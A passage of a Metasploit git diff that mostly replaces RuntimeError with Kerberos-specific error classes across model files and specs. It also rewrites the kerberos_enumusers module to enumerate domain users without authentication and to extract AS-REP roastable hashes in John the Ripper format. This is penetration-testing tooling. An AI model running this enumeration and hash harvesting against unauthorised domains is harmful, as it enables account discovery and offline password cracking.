invalid input' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode KdcRequestBody, invalid input' end self @@ -182,18 +182,20 @@ def encode_enc_auth_data # Decodes a Rex::Proto::Kerberos::Model::KdcRequestBody from an String # # @param input [String] the input to decode from - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode_string(input) asn1 = OpenSSL::ASN1.decode(input) decode_asn1(asn1) + rescue OpenSSL::ASN1::ASN1Error + raise Rex::Proto::Kerberos::Model::Error::KerberosDecodingError end # Decodes a Rex::Proto::Kerberos::Model::KdcRequestBody from an # OpenSSL::ASN1::Sequence # # @param input [OpenSSL::ASN1::Sequence] the input to decode from - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode_asn1(input) seq_values = input.value @@ -220,7 +222,7 @@ def decode_asn1(input) when 10 self.enc_auth_data = decode_enc_auth_data(val) else - raise ::RuntimeError, 'Failed to decode KdcRequestBody SEQUENCE' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode KdcRequestBody SEQUENCE' end end end diff --git a/lib/rex/proto/kerberos/model/kdc_response.rb b/lib/rex/proto/kerberos/model/kdc_response.rb index ce63d5d42d9cc..755c92d04b541 100644 --- a/lib/rex/proto/kerberos/model/kdc_response.rb +++ b/lib/rex/proto/kerberos/model/kdc_response.rb @@ -30,7 +30,7 @@ class KdcResponse < Element # # @param input [String, OpenSSL::ASN1::ASN1Data] the input to decode from # @return [self] if decoding succeeds - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -38,7 +38,7 @@ def decode(input) when OpenSSL::ASN1::ASN1Data decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode KdcResponse, invalid input' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode KdcResponse, invalid input' end self @@ -65,7 +65,7 @@ def decode_string(input) # Decodes a Rex::Proto::Kerberos::Model::KdcResponse # # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode_asn1(input) input.value[0].value.each do |val| case val.tag @@ -82,7 +82,7 @@ def decode_asn1(input) when 6 self.enc_part = decode_enc_part(val) else - raise ::RuntimeError, 'Failed to decode KDC-RESPONSE SEQUENCE' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode KDC-RESPONSE SEQUENCE' end end end @@ -138,4 +138,4 @@ def decode_enc_part(input) end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model/krb_error.rb b/lib/rex/proto/kerberos/model/krb_error.rb index bcd24e0946dfb..0c7076fa06688 100644 --- a/lib/rex/proto/kerberos/model/krb_error.rb +++ b/lib/rex/proto/kerberos/model/krb_error.rb @@ -26,7 +26,7 @@ class KrbError < Element # @return [Integer] The microseconds part of the server timestamp attr_accessor :susec # @!attribute error_code - # @return [Integer] The error request returned by kerberos or the server when a request fails + # @return [Rex::Proto::Kerberos::Model::Error::ErrorCode] The error request returned by kerberos or the server when a request fails attr_accessor :error_code # @!attribute crealm # @return [String] The realm part of the client's principal identifier @@ -48,7 +48,7 @@ class KrbError < Element # # @param input [String, OpenSSL::ASN1::ASN1Data] the input to decode from # @return [self] if decoding succeeds - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -56,7 +56,7 @@ def decode(input) when OpenSSL::ASN1::ASN1Data decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode KrbError, invalid input' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode KrbError, invalid input' end self @@ -83,7 +83,7 @@ def decode_string(input) # Decodes a Rex::Proto::Kerberos::Model::KrbError # # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode_asn1(input) input.value[0].value.each do |val| case val.tag @@ -112,7 +112,7 @@ def decode_asn1(input) when 12 self.e_data = decode_e_data(val) else - raise ::RuntimeError, 'Failed to decode KRB-ERROR SEQUENCE' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode KRB-ERROR SEQUENCE' end end end @@ -168,9 +168,11 @@ def decode_susec(input) # Decodes the error_code field # # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from - # @return [Integer] + # @return [Rex::Proto::Kerberos::Model::Error::ErrorCode] def decode_error_code(input) - input.value[0].value.to_i + value = input.value[0].value.to_i + + Error::ErrorCodes::ERROR_MAP[value] || Error::ErrorCode.new('UNKNOWN', value, 'Unknown error') end # Decodes the crealm field @@ -216,4 +218,4 @@ def decode_e_data(input) end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model/last_request.rb b/lib/rex/proto/kerberos/model/last_request.rb index fcb551b8325c7..8ece94e796108 100644 --- a/lib/rex/proto/kerberos/model/last_request.rb +++ b/lib/rex/proto/kerberos/model/last_request.rb @@ -18,7 +18,7 @@ class LastRequest < Element # # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from # @return [self] if decoding succeeds - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -26,7 +26,7 @@ def decode(input) when OpenSSL::ASN1::Sequence decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode LastRequest, invalid input' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode LastRequest, invalid input' end self @@ -79,4 +79,4 @@ def decode_value(input) end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model/pre_auth_data.rb b/lib/rex/proto/kerberos/model/pre_auth_data.rb index a9b5492156b73..9df3ca1d95462 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_data.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_data.rb @@ -19,7 +19,7 @@ class PreAuthData < Element # # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from # @return [self] if decoding succeeds - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -27,7 +27,7 @@ def decode(input) when OpenSSL::ASN1::Sequence decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode PreAuthData, invalid input' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode PreAuthData, invalid input' end self @@ -101,4 +101,4 @@ def decode_asn1_value(input) end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp.rb b/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp.rb index 220cab825a26c..349fb14e8a4c1 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp.rb @@ -21,7 +21,7 @@ class PreAuthEncTimeStamp < Element # # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from # @return [self] if decoding succeeds - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -29,7 +29,7 @@ def decode(input) when OpenSSL::ASN1::Sequence decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode PreAuthEncTimeStamp, invalid input' + raise Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode PreAuthEncTimeStamp, invalid input' end self @@ -123,4 +123,4 @@ def decode_pausec(input) end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model/pre_auth_pac_request.rb b/lib/rex/proto/kerberos/model/pre_auth_pac_request.rb index 8c89404482f5d..e6e20cd6045f2 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_pac_request.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_pac_request.rb @@ -16,7 +16,7 @@ class PreAuthPacRequest < Element # # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from # @return [self] if decoding succeeds - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -24,7 +24,7 @@ def decode(input) when OpenSSL::ASN1::Sequence decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode PreAuthPacRequest, invalid input' + raise Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode PreAuthPacRequest, invalid input' end self @@ -78,4 +78,4 @@ def decode_asn1_value(input) end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model/principal_name.rb b/lib/rex/proto/kerberos/model/principal_name.rb index a07c43b2fd49b..156c20e26308e 100644 --- a/lib/rex/proto/kerberos/model/principal_name.rb +++ b/lib/rex/proto/kerberos/model/principal_name.rb @@ -19,7 +19,7 @@ class PrincipalName < Element # # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from # @return [self] if decoding succeeds - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -27,7 +27,7 @@ def decode(input) when OpenSSL::ASN1::Sequence decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode Principal Name, invalid input' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode Principal Name, invalid input' end self @@ -113,4 +113,4 @@ def decode_name_string(input) end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model/ticket.rb b/lib/rex/proto/kerberos/model/ticket.rb index 1f9536f697a99..5d269885d8c2f 100644 --- a/lib/rex/proto/kerberos/model/ticket.rb +++ b/lib/rex/proto/kerberos/model/ticket.rb @@ -24,7 +24,7 @@ class Ticket < Element # # @param input [String, OpenSSL::ASN1::ASN1Data] the input to decode from # @return [self] if decoding succeeds - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -32,7 +32,7 @@ def decode(input) when OpenSSL::ASN1::ASN1Data decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode Ticket, invalid input' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode Ticket, invalid input' end self @@ -96,7 +96,7 @@ def decode_string(input) # Decodes a Rex::Proto::Kerberos::Model::Ticket # # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode_asn1(input) input.value[0].value.each do |val| case val.tag @@ -109,7 +109,7 @@ def decode_asn1(input) when 3 self.enc_part = decode_enc_part(val) else - raise ::RuntimeError, 'Failed to decode Ticket SEQUENCE' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode Ticket SEQUENCE' end end end @@ -148,4 +148,4 @@ def decode_enc_part(input) end end end -end \ No newline at end of file +end diff --git a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb index 9b6f816c30a74..eeff4ee5b4885 100644 --- a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb +++ b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb @@ -144,16 +144,7 @@ def run end def warn_error(res) - msg = '' - - if Rex::Proto::Kerberos::Model::ERROR_CODES.has_key?(res.error_code) - error_info = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code] - msg = "#{error_info[0]} - #{error_info[1]}" - else - msg = 'Unknown error' - end - - msg + "#{res.error_code}" end end diff --git a/modules/auxiliary/gather/kerberos_enumusers.rb b/modules/auxiliary/gather/kerberos_enumusers.rb index 7ba7be3072eab..39a443d17103c 100644 --- a/modules/auxiliary/gather/kerberos_enumusers.rb +++ b/modules/auxiliary/gather/kerberos_enumusers.rb @@ -8,21 +8,22 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Kerberos::Client def initialize(info = {}) - super(update_info(info, - 'Name' => 'Kerberos Domain User Enumeration', - 'Description' => %q( - This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilizes - the different responses returned by the service for valid and invalid users. - ), - 'Author' => - [ - 'Matt Byrne ' # Metasploit module + super( + update_info( + info, + 'Name' => 'Kerberos Domain User Enumeration', + 'Description' => %q{ + This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilizes + the different responses returned by the service for valid and invalid users. + }, + 'Author' => [ + 'Matt Byrne ', # Original Metasploit module + 'alanfoster' # Enhancements ], - 'References' => - [ - [ 'URL', 'https://nmap.org/nsedoc/scripts/krb5-enum-users.html'] + 'References' => [ + ['URL', 'https://nmap.org/nsedoc/scripts/krb5-enum-users.html'] ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE ) ) @@ -39,10 +40,9 @@ def initialize(info = {}) end def user_list - users = nil if File.readable? datastore['USER_FILE'] - users = File.new(datastore['USER_FILE']).read.split - users.each { |u| u.downcase! } + users = File.new(datastore['USER_FILE']).readlines(chomp: true) + users.each(&:downcase!) users.uniq! else raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}" @@ -51,58 +51,93 @@ def user_list end def run - print_status("Validating options...") - domain = datastore['DOMAIN'].upcase - user_file = datastore['USER_FILE'] - - print_status("Using domain: #{domain}...") + print_status("Using domain: #{domain} - #{peer}...") pre_auth = [] pre_auth << build_pa_pac_request pre_auth user_list.each do |user| - print_status("#{peer} - Testing User: \"#{user}\"...") - res = send_request_as( - client_name: "#{user}", - server_name: "krbtgt/#{domain}", - realm: "#{domain}", - pa_data: pre_auth - ) - print_status("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR - test = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code] - if test == ["KDC_ERR_PREAUTH_REQUIRED", "Additional pre-authentication required"] - print_good("#{peer} - User: \"#{user}\" is present") + next if user.empty? + + begin + res = send_request_as( + client_name: user.to_s, + server_name: "krbtgt/#{domain}", + realm: domain.to_s, + pa_data: pre_auth + ) + rescue ::EOFError => e + print_error("#{peer} - User: #{user.inspect} - EOF Error #{e.message}. Aborting...") + elog(e) + # Stop further requests entirely + return false + rescue Rex::Proto::Kerberos::Model::Error::KerberosDecodingError => e + print_error("#{peer} - User: #{user.inspect} - Decoding Error - #{e.message}. Aborting...") + elog(e) + # Stop further requests entirely + return false + end + + case res.msg_type + when Rex::Proto::Kerberos::Model::AS_REP + hash = format_asrep_to_john_hash(res) + + # Accounts that have 'Do not require Kerberos preauthentication' enabled, will receive an ASREP response with a ticket present + print_good("#{peer} - User: #{user.inspect} does not require preauthentication. Hash: #{hash}") report_cred( - host: datastore['RHOST'], - port: rport, - creds_name: 'Kerberos', - user: user + user: user, + asrep: hash ) - elsif test == ["KDC_ERR_CLIENT_REVOKED", "Clients credentials have been revoked"] - print_error("#{peer} - User: \"#{user}\" account disabled or locked out") + when Rex::Proto::Kerberos::Model::KRB_ERROR + if res.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED + print_good("#{peer} - User: #{user.inspect} is present") + report_cred(user: user) + elsif res.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_CLIENT_REVOKED + print_error("#{peer} - User: #{user.inspect} account disabled or locked out") + elsif res.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_C_PRINCIPAL_UNKNOWN + vprint_status("#{peer} - User: #{user.inspect} user not found") + elsif res.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_WRONG_REALM + print_error("#{peer} - User: #{user.inspect} - #{res.error_code}. Domain option may be incorrect. Aborting...") + # Stop further requests entirely + return false + else + vprint_status("#{peer} - User: #{user.inspect} - #{res.error_code}") + end else - print_status("#{peer} - User: \"#{user}\" does not exist") + vprint_status("#{peer} - User: #{user.inspect} - #{res.error_code}. Unknown response #{res.msg_type.inspect}") end end end def report_cred(opts) + domain = datastore['DOMAIN'].upcase + service_data = { - address: opts[:host], - port: opts[:port], - protocol: 'udp', + address: rhost, + port: rport, + protocol: 'tcp', workspace_id: myworkspace_id, - service_name: opts[:creds_name] + service_name: 'kerberos', + realm_key: ::Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: domain } credential_data = { username: opts[:user], origin_type: :service, - module_fullname: self.fullname + module_fullname: fullname }.merge(service_data) + if opts[:asrep] + credential_data.merge!( + private_data: opts[:asrep], + private_type: :nonreplayable_hash, + jtr_format: 'krb5' + ) + end + login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED @@ -111,14 +146,9 @@ def report_cred(opts) create_credential_login(login_data) end - def warn_error(res) - msg = '' - - if Rex::Proto::Kerberos::Model::ERROR_CODES.key?(res.error_code) - error_info = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code] - msg = "#{error_info[0]} - #{error_info[1]}" - else - msg = 'Wrong DOMAIN Name? Check DOMAIN and retry...' - end + # @param [Rex::Proto::Kerberos::Model::KdcResponse] asrep The krb5 asrep response + # @return [String] A valid string format which can be cracked offline + def format_asrep_to_john_hash(asrep) + "$krb5asrep$#{asrep.enc_part.etype}$#{asrep.cname.name_string.join('/')}@#{asrep.ticket.realm}:#{asrep.enc_part.cipher[0...16].unpack1('H*')}$#{asrep.enc_part.cipher[16..].unpack1('H*')}" end end diff --git a/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb index cf2457fb6e302..d74f7fe1b3cd8 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb @@ -10,6 +10,9 @@ mod end + let(:kerberos_error) { Rex::Proto::Kerberos::Model::Error::KerberosError } + let(:decoding_error) { Rex::Proto::Kerberos::Model::Error::KerberosDecodingError } + let(:as_response) do "\x6b\x82\x02\x52\x30\x82\x02\x4e\xa0\x03\x02\x01\x05\xa1\x03\x02" + "\x01\x0b\xa3\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c" + @@ -150,17 +153,17 @@ end context "when using an invalid key" do - it "raises RuntimeError" do + it "raises an error" do response = Rex::Proto::Kerberos::Model::KdcResponse.decode(as_response) - expect { subject.extract_session_key(response, invalid_key) }.to raise_error(RuntimeError) + expect { subject.extract_session_key(response, invalid_key) }.to raise_error(kerberos_error) end end end context "when extracting from a TGS response" do - it "raises RuntimeError" do + it "raises an error" do response = Rex::Proto::Kerberos::Model::KdcResponse.decode(tgs_response) - expect { subject.extract_session_key(response, valid_key) }.to raise_error(RuntimeError) + expect { subject.extract_session_key(response, valid_key) }.to raise_error(kerberos_error) end end end @@ -181,17 +184,17 @@ end context "when using an invalid key" do - it "raises RuntimeError" do + it "raises an error" do response = Rex::Proto::Kerberos::Model::KdcResponse.decode(as_response) - expect { subject.extract_logon_time(response, invalid_key) }.to raise_error(RuntimeError) + expect { subject.extract_logon_time(response, invalid_key) }.to raise_error(kerberos_error) end end end context "when extracting from a TGS response" do - it "raises RuntimeError" do + it "raises an error" do response = Rex::Proto::Kerberos::Model::KdcResponse.decode(tgs_response) - expect { subject.extract_logon_time(response, valid_key) }.to raise_error(RuntimeError) + expect { subject.extract_logon_time(response, valid_key) }.to raise_error(kerberos_error) end end end diff --git a/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb index 5d0b276227857..4165b742c873b 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb @@ -10,6 +10,9 @@ mod end + let(:kerberos_error) { Rex::Proto::Kerberos::Model::Error::KerberosError } + let(:decoding_Error) { Rex::Proto::Kerberos::Model::Error::KerberosDecodingError } + let(:body_opts) do { :nonce => 123456, @@ -155,7 +158,7 @@ describe "#build_ap_req" do context "when no ticket" do it "raises error" do - expect { mod.build_ap_req }.to raise_error(RuntimeError) + expect { mod.build_ap_req }.to raise_error(kerberos_error) end end @@ -169,7 +172,7 @@ describe "#build_enc_auth_data" do context "when no auth_data" do it "raises error" do - expect { mod.build_enc_auth_data }.to raise_error(RuntimeError) + expect { mod.build_enc_auth_data }.to raise_error(kerberos_error) end end @@ -183,7 +186,7 @@ describe "#build_tgs_request" do context "when no ticket" do it "raises error" do - expect { mod.build_tgs_request }.to raise_error(RuntimeError) + expect { mod.build_tgs_request }.to raise_error(kerberos_error) end end diff --git a/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb index 6336ddb0a5587..898200c59b97a 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb @@ -10,6 +10,9 @@ mod end + let(:kerberos_error) { Rex::Proto::Kerberos::Model::Error::KerberosError } + let(:decoding_error) { Rex::Proto::Kerberos::Model::Error::KerberosDecodingError } + let(:as_response) do "\x6b\x82\x02\x52\x30\x82\x02\x4e\xa0\x03\x02\x01\x05\xa1\x03\x02" + "\x01\x0b\xa3\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c" + @@ -143,17 +146,17 @@ end context "when using an invalid key" do - it "raises RuntimeError" do + it "raises an error" do response = Rex::Proto::Kerberos::Model::KdcResponse.decode(tgs_response) - expect { subject.extract_kerb_creds(response, invalid_subkey) }.to raise_error(RuntimeError) + expect { subject.extract_kerb_creds(response, invalid_subkey) }.to raise_error(kerberos_error) end end end context "when extracting from an AS response" do - it "returns the extracted Rex::Proto::Kerberos::CredentialCache::Cache" do + it "raises an error" do response = Rex::Proto::Kerberos::Model::KdcResponse.decode(as_response) - expect { subject.extract_kerb_creds(response, valid_subkey) }.to raise_error(RuntimeError) + expect { subject.extract_kerb_creds(response, valid_subkey) }.to raise_error(kerberos_error) end end end diff --git a/spec/lib/rex/proto/kerberos/client_spec.rb b/spec/lib/rex/proto/kerberos/client_spec.rb index 7fced2d01d20a..2d52e28718a11 100644 --- a/spec/lib/rex/proto/kerberos/client_spec.rb +++ b/spec/lib/rex/proto/kerberos/client_spec.rb @@ -144,11 +144,11 @@ def get_once(length, timeout = 10) end context "when reads unexpected data" do - it "raises RuntimeError" do + it "raises an error" do subject.connect subject.connection.write(res_invalid) subject.connection.seek(0) - expect { subject.recv_response }.to raise_error(::RuntimeError) + expect { subject.recv_response }.to raise_error(::EOFError) end end end diff --git a/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb b/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb index 213ac8d329aba..c1a36362ec539 100644 --- a/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb @@ -10,6 +10,8 @@ described_class.new end + let(:kerberos_error) { Rex::Proto::Kerberos::Model::Error::KerberosError } + =begin #